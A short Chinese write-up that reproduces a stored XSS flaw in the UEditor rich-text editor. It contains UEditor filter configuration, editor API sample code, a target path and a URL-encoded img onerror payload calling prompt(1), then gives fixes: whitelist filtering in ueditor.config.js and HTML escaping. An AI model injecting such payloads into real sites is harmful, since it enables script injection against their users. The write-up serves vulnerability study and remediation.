UEditor编辑器存储型XSS漏洞复现

"/seller.php?s=/Public/login"

    'filterTxtRules' : function(){        function transP(node){            node.tagName = 'p';            node.setStyle();        }        return {            //直接删除及其字节点内容            '-' : 'script style object iframe embed input select',            'p': {$:{}},            'br':{$:{}},            'div':{'$':{}},            'li':{'$':{}},            'caption':transP,            'th':transP,            'tr':transP,            'h1':transP,'h2':transP,'h3':transP,'h4':transP,'h5':transP,'h6':transP,            'td':function(node){                //没有内容的td直接删掉                var txt = !!node.innerText();                if(txt){                    node.parentNode.insertAfter(UE.uNode.createText('    '),node);                }                node.parentNode.removeChild(node,node.innerText())            }        }    }()

var ue = UE.getEditor();//对编辑器的操作最好在编辑器ready之后再做ue.ready(function(){    //设置编辑器的内容    ue.setContent('hello');    //获取html内容，返回: <p>hello</p>    var html = ue.getContent();    //获取纯文本内容，返回: hello    var txt = ue.getContentTxt();});

%3Cp%3Emobei"><ImG sRc=1 OnErRoR=prompt(1)>%3Cbr%2F%3E%3C%2Fp%3E

1、修改 xss过滤白名单 配置文件ueditor.config.js，增加白名单过滤，比如对一些非法的参数和标签，像       <>、,",'，img标签的onerror属性，script标签等进行自动转义，或者是强制的拦截并提示。2、对输入的数据也进行html转义，使其不会识别为可执行脚本。